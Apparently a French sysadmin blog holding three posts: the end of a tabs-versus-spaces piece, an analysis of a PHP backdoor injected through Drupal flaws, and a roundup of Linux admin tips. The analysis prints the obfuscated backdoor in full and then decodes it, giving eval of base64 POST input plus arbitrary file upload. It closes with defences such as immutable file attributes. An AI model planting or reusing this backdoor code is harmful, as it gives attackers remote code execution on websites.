J’ai tendance à préférer la tabulation pour plusieurs raisons. La première, c’est que c’est un seul caractère, là où vous pouvez en avoir deux, quatre ou même huit (déjà vu), et sur une base de code grossissante c’est de l’espace disque inutilement consommé selon moi. J’ai très souvent vécu dans un univers où le moindre octet compte, j’ai gardé une certaine sensibilité sur ce point; il m’arrive aussi de bosser sur des plateformes « legacy » où la taille de la partition racine est incroyablement petite et chaque octet influe sur le pourcentage d’occupation propre à déclencher des alertes préventives d’espace disque. Ceci dit si ça n’excuse pas pour autant les développeurs JavaScript qui fournissent une version « minifiée » d’un code pourtant déjà illisible (mais là aussi le moindre octet de gagné peut s’avérer payant, souvenez-vous de la conclusion de l’article sur la compression).

La deuxième c’est que de par la souplesse de l’affichage qu’on peut appliquer au caractère, plusieurs développeurs peuvent travailler sur le même code tout en appliquant la taille d’indentation qu’ils veulent sans remettre en cause la logique sous-jacente, ce qui veut dire un plus grand confort pour eux et donc plus d’efficacité. Eh oui, même les rois de l’adaptation aiment leurs petites habitudes, et en contrarier le moins possible est souvent une bonne idée.

Alors certes c’est moins pratique lorsqu’on affiche le code sans aide visuelle parce qu’une tabulation est aussi invisible que l’espace. J’ai notamment eu le tour lorsque pour mon module de mise à jour dns pour gogs, Vim sous Debian Stretch m’a ajouté des espaces dans un code Python indenté avec des tabulations sous Sublime (j’ai voulu essayer un quick fix sans tout refaire, j’ai eu des problèmes).

Ça sert à rien de pleurer alors ?

Le seul moment où vous devez pleurer c’est quand vous vous retrouvez face à un code anarchique mixant les deux sans prévenir, ce qui est courant avec les « kiddies » qui pensent qu’il suffit d’un doctorat en recherche Google/StackOverflow avec spécialisation copier-coller pour pondre un programme de mort. Non seulement ça pourrit la lisibilité, mais ça peut aussi s’avérer plantogène à fond. Sinon, pleurer revient seulement à montrer qu’on doit avoir une vie bien triste pour s’attarder sur ce qui n’est le plus souvent qu’un faux problème, surtout avec des langages qui s’en foutent royalement, comme html, php, bash (on va dire que c’est un langage hein, pour le contexte, surtout que j’écris cette conclusion un vendredi), JavaScript et j’en oublie certainement, parce que leur syntaxe les rends permissifs, et les risques de mauvaise interprétation moins nombreux.

Et vous, vous utilisez quoi pour vos indentations?

Décoder un script PHP malveillant, comment s’en protéger

dimanche 13 mai 2018 à 10:30

Suite aux récents évènements de sécurité autour de Drupal, plusieurs de nos clients qui pensent que leur site est une affiche collée au mur qui n’a pas besoin de mise à jour se sont fait poutrer parfois méchamment. Je vous propose d’analyser le code d’un fichier injecté par le biais des dernières failles en date, histoire de comprendre comment ça fonctionne, pourquoi il est compliqué de les détecter, quelles sont les options à disposition pour réduire la surface d’attaque.

Voici le code brut :

<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?>

L’un des moyens les plus évidents, au delà de la lisibilité douteuse de cette unique ligne, c’est l’utilisation fréquente de la fonction base64_decode(). On va donc procéder par étape, pour améliorer la lisibilité et traduire tout ça afin de savoir de quoi il retourne. On va déjà rétablir retours à la ligne et indentation :

<?php
echo 7457737+736723;

$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");

$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");

eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));

if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))) {
	@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);
};

?>

Je n’ai absolument aucune idée de l’utilité du premier echo, à part peut-être constituer une sorte de signature qui permet d’identifier ce qu’on peut faire avec le reste du code. On constate plusieurs définitions de variables, un test sur le contenu de $_POST, ce qui confirme qu’on peut lui envoyer des choses, et on voit l’utilisation de $_FILES, les deux combinés laissent déjà à penser qu’il est possible d’uploader des fichiers avec ce script.

Commençons par la première variable, et le contenu sur lequel doit s’exécuter le base64_decode :

$raPo_rZluoE=base64_decode("YmFzZTY0X2RlY29kZQ==");

J’ai simplement fait un php -r 'echo "Y".chr(109)."F".chr...;' pour traduire le contenu. C’est d’ailleurs cette méthode que je vais exploiter pour traduire la plupart des transformations. Alors, quel est donc le résultat ?

[seboss666@seboss666-ltp ~ ]$ php -r 'echo base64_decode("YmFzZTY0X2RlY29kZQ==");'
base64_decode

Franchement, là celle-là on aurait pu s’en passer, mais ça a du sens en matière de masquage. Oui, on dit que raPo_rZluoE est équivalent à base64_decode, et par la suite, on pourra appeler $raPo_rZluoE à la place de l’original, une saloperie couramment rencontrée dans les scripts malveillants que j’ai pu voir par le passé, et qui font partie des critiques du langage sur sa faible sécurité. C’est d’ailleurs ce qu’on verra juste après.

La deuxième définition de variable est identique à part le contenu, donc on va prendre un raccourci :

//$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");

$ydSJPtnwrSv="copy";

C’est à la ligne suivante que les choses prennent leur sens. La fonction eval() interprète le contenu qu’on lui passe, et on voit qu’on lui passe une fonction masquée; on a encore un enchaînement connu, je vais raccourcir un peu les étapes :

//eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));

eval(base64_decode($_POST["id"]));

Cette simple commande ouvre les portes à toutes les possibilités d’exécution arbitraires permises par PHP avec l’utilisateur système associé. Il suffit de faire une requête HTTP « POST » avec un contenu qui va bien, dans la variable qui va bien, pour aboutir au résultat voulu : extraction de données, lancement d’attaques sur serveurs tiers, infections multiples pour se laisser plusieurs portes d’entrées sur la machine compromise, tentatives d’élévation de privilèges…

Approchons-nous du if maintenant. Je ne vais pas vous détailler toutes les étapes, ce sont les mêmes, voici la version en clair :

if($_POST["up")] == "up") {
	@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
};

Là c’est clair, on injecte des fichiers en forçant leur nom, histoire de les retrouver plus facilement après. Allez, pour la culture, je vous met le code complet « décompilé » :

<?php
echo 7457737+736723;

eval(base64_decode($_POST["id"]));

if($_POST["up")] == "up") {
	@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
};
?>

Y’a eu bien pire

Qu’on ne se mente pas, ces deux petites routines aussi simples paraissent-elles sont capables de faire pas mal de dégâts, mais au final c’est assez roots, il faut soi-même envoyer les commandes ou les fichiers. j’ai vu passer des explorateurs de fichiers, des webshells, et ces derniers mois, des logiciels de minage de cryptomonnaies ont fait leur apparition en force (qui s’installent avec l’utilisateur PHP, ajoutent une tâche cron pour ajouter un peu de persistance…). J’ai également eu l’occasion de croiser des robots à spam, certains injectaient des dossiers entiers de pages présentant des contrefaçons de produits de consommation, d’autres avaient décidé de bruteforcer des accès SSH d’autres serveurs (on a reçu une notification d’abuse de la part de l’hébergeur de la machine compromise)… Bref, la panoplie est bien large en matière de logiciels malveillants. Et là on ne parle que de plateformes classiques d’hébergement de sites web. Les derniers records en matière de déni de service distribués ont été effectués à l’aide d’objets connectés mal conçus ou mal installés, pas maintenus à jour ni configurés correctement. Bientôt, il faudra vous méfier de votre frigo.

Le problème, c’est que ce genre d’attaque n’est pas nécessairement détecté rapidement. Nous disposons presque systématiquement d’antivirus sur les plateformes que l’on exploite, mais ce genre de code obfusqué à la volée peut changer tellement du tout au tout qu’il est impossible d’en définir une signature (certains redéfinissent même un alphabet dans un tableau pour ensuite appeler les fonctions caractère par caractère…). Ajoutez à ça qu’un fichier malveillant peut être utilisé seulement des semaines après avoir été injecté, il n’est même pas possible d’en déduire un comportement suspect. Sauf qu’en multipliant les infections sur un même site, on le rend pratiquement impossible à désinfecter proprement, et une fois la machine compromise, il est impossible de savoir à quel point l’attaquant a pu s’introduire dans le système.

Définitivement, les mises à jour de sécurité ne sont pas faites pour les chiens, et tous les niveaux sont concernés, jusqu’au matériel désormais. Prenez donc le temps de mettre en place une politique de maintenance sur vos plateformes, le monde entier vous remerciera.

Comment réduire la surface d’attaque ?

Des commerciaux tenteront de vous mettre des étoiles dans les yeux avec un WAF, un Web Application Firewall, qui va jouer le role de proxy et analyser les URLs et le contenu des POST pour tenter de détecter un comportement suspect ou clairement identifié comme malveillant. Mais ces solutions sont souvent lourdes à mettre en place (impact plus ou moins grand sur l’applicatif, demande ce qu’on appelle un affinage après l’installation), et surtout chères, raison pour laquelle je parle des commerciaux. Il y a bien Naxsi, mais sa mise en place est assez ardue et pose le même problème de contrainte et d’impact sur le fonctionnement du site. Je conseille cette solution en dernier recours si vous êtes constamment attaqué et que pour différentes raisons vous ne pouvez pas garantir la maintenance de sécurité de votre site (coucou le WordPress 3.2 multisites au 104 plugins customs qui me stressent à chaque fois que je l’approche).

La méthode que je privilégie quand un site n’est pas maintenu, c’est la lecture seule. Et pas n’importe laquelle. Trop simple les chmod a-w, le chown… Le plus efficace, mais vraiment à utiliser en dernier recours, n’est pas visible facilement. Mais on peut sentir qu’il y a truc quand on a le comportement suivant :

[seboss666@seboss666-ltp ~/tmp ]$ l
total 16K
drwxr-xr-x  2 seboss666 seboss666 4,0K 12.05.2018 10:45 ./
drwx------ 48 seboss666 seboss666 4,0K 11.05.2018 20:01 ../
-rw-r--r--  1 seboss666 seboss666 1,6K 28.01.2018 10:34 smoke.dump
-rw-r--r--  1 seboss666 seboss666 1,2K 28.01.2018 10:34 smokegood.dump
[seboss666@seboss666-ltp ~/tmp ]$ rm smoke.dump 
rm: impossible de supprimer 'smoke.dump': Opération non permise

Eh oui, un peu à l’instar des ACL, on a aussi les attributs étendus du système de fichiers à notre disposition pour contrôler ce qu’on a le droit de faire sur un fichier, ensemble de fichiers… C’est via les commandes chattr et lsattr qu’on les manipule :

[seboss666@seboss666-ltp ~/tmp ]$ lsattr smoke.dump
----i---------e--- smoke.dump
[seboss666@seboss666-ltp ~/tmp ]$ sudo chattr -i smoke.dump 
[seboss666@seboss666-ltp ~/tmp ]$ lsattr smoke.dump 
--------------e--- smoke.dump
[seboss666@seboss666-ltp ~/tmp ]$ rm smoke.dump 
rm : supprimer 'smoke.dump' du type fichier ? o
[seboss666@seboss666-ltp ~/tmp ]$ l
total 12K
drwxr-xr-x  2 seboss666 seboss666 4,0K 12.05.2018 11:00 ./
drwx------ 48 seboss666 seboss666 4,0K 12.05.2018 10:59 ../
-rw-r--r--  1 seboss666 seboss666 1,2K 28.01.2018 10:34 smokegood.dump

Les attributs étendus permettent de faire pas mal de choses, je vous recommande la page de manuel traduite de chattr qui résume tous les drapeaux manipulables. Juste sachez que les systèmes de fichiers les plus courants sous Linux proposent peu ou prou les mêmes, et même les systèmes de fichiers Windows proposent des attributs étendus que je vous laisse chercher.

Bref, ici, c’est le « i » pour « immutable » qui nous intéresse, qui est le terme anglais pour inaltérable. En appliquant ça sur une arborescence complète, on la fige complètement, ce qui empêche les injections dans des fichiers, ainsi que le dépôt de nouveaux fichiers :

[seboss666@seboss666-ltp ~/tmp ]$ mkdir testdir
[seboss666@seboss666-ltp ~/tmp ]$ sudo chattr +i testdir/
[seboss666@seboss666-ltp ~/tmp ]$ cd testdir/
[seboss666@seboss666-ltp ~/tmp/testdir ]$ touch toto.txt
touch: initialisation des dates de 'toto.txt': Aucun fichier ou dossier de ce type
[seboss666@seboss666-ltp ~/tmp/testdir ]$ l
total 8,0K
drwxr-xr-x 2 seboss666 seboss666 4,0K 12.05.2018 11:24 ./
drwxr-xr-x 3 seboss666 seboss666 4,0K 12.05.2018 11:24 ../
[seboss666@seboss666-ltp ~/tmp/testdir ]$ echo "coucou" > toto.txt
bash: toto.txt: Opération non permise
[seboss666@seboss666-ltp ~/tmp/testdir ]$ l
total 8,0K
drwxr-xr-x 2 seboss666 seboss666 4,0K 12.05.2018 11:24 ./
drwxr-xr-x 3 seboss666 seboss666 4,0K 12.05.2018 11:24 ../

Attention, ce n’est pas récursif, c’est à dire que s’il existe déjà un sous-dossier, celui-ci n’hérite pas de l’attribut immutable, et on peut alors le modifier/ajouter des fichiers dedans. Dans le cadre d’un Drupal ou d’un WordPress, ça peut être utile pour laisser malgré tout un dossier de cache ou le dossier d’uploads en écriture pour ne pas trop impacter les contributions ou les améliorations de performance. Par contre, il faudra alors penser à retirer le flag sur toute l’arborescence pour faire une mise à jour, que ce soit le cœur, le thème, les plugins. Beaucoup plus contraignant, mais la sécurité a souvent un prix.

Si vous laissez certains dossiers accessibles en écriture, on va devoir empêcher tout appel à un script malveillant qui pourrait être injecté dans ces dossiers. Généralement, c’est votre serveur web qui va vous aider dans ce processus, avec différentes possibilités :

Il y a encore certainement d’autres possibilités, comme la restriction de requêtes POST, il suffit de chercher « Drupal Security » ou « WordPress Security » sur votre moteur de recherche favori pour trouver quantité d’articles sur le sujet, à voir ce qui est applicable à votre installation.

Dans tous les cas, il faut se souvenir que la sécurité, c’est comme le reste de l’informatique : c’est vivant, les menaces évoluent, il ne suffit pas d’avoir collé deux règles dans votre serveur web pour être tranquille définitivement. Pour ceux dont le site est la source de revenus, n’hésitez pas à vous assurer d’avoir un partenaire pour la maintenance si vous n’avez pas la capacité de le faire vous-même, c’est un investissement nécessaire qui vous évitera d’avoir à payer beaucoup plus cher quand vous vous ferez démembrer. D’autant plus si vous manipulez des données personnelles, les sanctions en cas de manquement seront beaucoup plus lourdes

Quelques astuces diverses, douzième

vendredi 4 mai 2018 à 18:30

Allez, c’est reparti pour une nouvelle collections de petites bricoles qui facilitent la vie de toux ceux qui bricolent 🙂

Compresser à la volée une image disque

Le problème quand on fait une image d’une partition ou d’un disque, c’est qu’il va tout prendre, les un comme les zéro (pour rappel, tout est binaire à la base). Et si y’a beaucoup de zéro, c’est de l’espace gaspillé; si un disque fait 32Go mais seulement 10 sont utilisés, l’image fera tout de même 32Go. Heureusement on a des outils de compression pour ça, et même certains qu’on peut appeler à la volée à l’aide d’un pipe:

dd if=/dev/sda2 | gzip > /media/disk/sda2-backup-10august09.gz

Si le temps d’exécution n’est pas un problème pour vous, vous pouvez également utiliser xz qui sera plus performant mais beaucoup plus lent (on pourrait faire un petit comparatif un jour tiens 🙂 )

Rediriger la sortie d’une commande effectuée avec sudo

Le problème de sudo, c’est qu’il n’applique l’élévation de privilège qu’à la commande en cours et pas à d’éventuelles redirections, ce qui peut s’avérer gênant quand on veut écrire dans un dossier sur lequel on a pas les droits. Dans l’astuce précédente, si on veut avoir le droit d’écrire dans /media/disk (parce que oui parfois ça marche pas bien), on peut englober la commande et sa redirection sur une nouvelle instance de bash :

sudo bash -c "dd if=/dev/sda2 | gzip > /media/disk/sda2-backup-10august09.gz"

Attention cependant, cette nouvelle « session » ne charge peut-être pas tout l’environnement, dans ce cas, préférez des chemins absolus pour les commandes tapées si elles sont dans des chemins non standards.

Let’s Encrypt, Apache, et directive <Limit>

Un client filtre ses accès préprod par IP avec une directive <Limit> contenant une série d’allow et de deny dans le fichier .htaccess à la racine du site. Pour permettre aux serveurs de Let’s Encrypt de contacter le dossier .well-known afin de valider le challenge, j’ai utilisé mod_setenvif :

SetEnvif Request_URI "/.well-known*" lewhitelist
<LIMIT>
        #Whitelist Let's Encrypt
        Allow from env=lewhitelist

Pourquoi pas ajouter les IP Let’s Encrypt ? Parce qu’elles ne sont pas fixes (dixit la FAQ) :

What IP addresses does Let’s Encrypt use to validate my web server?

 

We don’t publish a list of IP addresses we use to validate, because they may change at any time. In the future we may validate from multiple IP addresses at once.

Améliorer les performances wifi sous Linux

A la cité des Sciences, mais je pense que ça peut me servir ailleurs, j’ai eu quelques difficultés avec ma carte wifi qui semblait mal conserver un lien avec le point d’accès. Mon dépanneur de Chromebook (avec qui on l’a cassé, j’en ai parlé récemment dans son démontage) m’a filé une astuce, en lien avec la gestion de l’énergie. Il faut passer par l’utilitaire iw (à installer donc) :

$ iw dev wlan0 set power_save off

Bon par contre, si vous êtes charrette en batterie ça sera peut-être pas recommandé 🙂

Ajouter un fichier swap pour grossir l’espace existant

En attendant de pouvoir empêcher une application de faire de la merde, et d’améliorer un peu la gestion de la mémoire du noyau, un collègue a ajouté un fichier de swap d’un 1Go en plus de la partition existante. Voici la procédure suivie, en mode administrateur :

dd if=/dev/zero of=/swapfile bs=1024 count=1048576
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile

Vous devriez voir le résultat en direct sur la taille du swap globale. Et si on veut que ça soit persistant, on peut ajouter la ligne suivante au fichier /etc/fstab :

/swapfile none swap sw 0 0

Evidemment, ne pas utiliser le swap c’est mieux, mais quand vous avez pas le contrôle de l’application, hein…

Tester un cipher suite en particulier avec openssl

Un client nous demande de modifier le paramètre Diffie-Hellman qui plombe ses notes sur les différents tests SSL/TLS. Je fais la modification mais par défaut en testant openssl va prendre un cipher à base de courbes elliptiques, plus récent et mieux noté, donc je vois pas le résultat :

$ openssl s_client -connect site.client.net:443 -servername site.client.net
Peer signing digest: SHA512
Server Temp Key: ECDH, P-256, 256 bits
---
SSL handshake has read 4541 bytes and written 471 bytes
---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit

Fort heureusement, openssl est plein de ressources et on peut choisir la « qualité » de connexion 🙂

$ openssl s_client -cipher "DHE-RSA-AES256-GCM-SHA384" -connect site.client.net:443 -servername site.client.net
Peer signing digest: SHA512
Server Temp Key: DH, 2048 bits
---
SSL handshake has read 4983 bytes and written 457 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit

Docker, exporter une image

Dans le cadre d’un cluster DC/OS, un problème avec la registry du client empêchait un container de se redéployer sur un autre nœud qui ne disposait pas de l’image. Fort heureusement, on a un petit contournement pour ça, si on a accès à un nœud ou l’image est déjà là :

#Sur la machine où l'image est présente :

$ docker save registry/myimage:lastest | gzip -c > myimage.tgz

#Sur la machine qui doit porter le container

$ gunzip -c myimage.tgz | docker load

Supprimer le début d’un fichier à partir d’une ligne

J’ai eu à extraire d’un fichier de serveur mail la pièce jointe au format PDF. Dans ce format, la pièce jointe en question est encodée en base64 à la fin du mail. La solution, chercher une ligne de référence à partir de laquelle je conserve tout, et supprime le début. Et on fait ça avec sed :

$ sed -i.bak '1,/application\/pdf/d' fichier_mail

Un petit vim pour nettoyer quelques lignes superflues, et on peut décoder :

$ base64 -d fichier_mail > cv.pdf
$ file cv.pdf
$ cv.pdf: PDF document, version 1.5

Forcer la coloration syntaxique dans vim

Lors de modifications lourdes apportées à un fichier de configuration Apache pour un client (multiples virtualhosts avec le même tronc de directives), j’ai déporté les règles communes dans un fichier à part et je l’inclus dans les différents vhosts. Pour m’assurer que la bonne coloration syntaxique est appliquée quand je charge ce fichier amputé des directives de bases qui permettent la détection automatique, j’ai ajouté une petite ligne au début du fichier :

# vim: filetype=apache

Attention aux espaces 🙂 Pour savoir tout ce qu’il est possible de faire, vous pouvez vous manger la doc.

Tiret au début d’un nom de fichier

Il y a des gens comme ça sur terre qu’il faudrait brûler, parmi eux ceux qui me collent un tiret au début du nom d’un fichier. Pourquoi ? Ben le tiret en question est couramment utilisé pour désigner des options de commandes, et ça débouche sur ce genre de message d’erreur à la con sur une palanquée de commandes :

[seboss666@seboss666-ltp ~ ]$ mv -fichier-pourri.txt fichier-pourri.txt
mv : option invalide -- 'c'
Saisissez « mv --help » pour plus d'informations.

Guillemets simples, doubles, rien n’y fait. Pour contourner, il faut que j’utilise une autre astuce, le chemin :

[seboss666@seboss666-ltp ~ ]$ mv ./-fichier-pourri.txt fichier-pourri.txt
[seboss666@seboss666-ltp ~ ]$ l fichier-pourri.txt
-rw-r--r-- 1 seboss666 seboss666 0 21.04.2018 09:55 fichier-pourri.txt

Deux caractères, une frustration évacuée 🙂


C’est tout pour aujourd’hui, mais je me rend compte d’une chose : j’ai du relire tous les billets précédents pour vérifier que je n’avais pas déjà partagé certaines des astuces présentées ici, et il y a un précédent de doublon. Avec le nombre d’articles qui augmente dans la série, je vais devoir m’organiser pour éviter de perdre du temps et peut-être le votre à l’avenir 🙂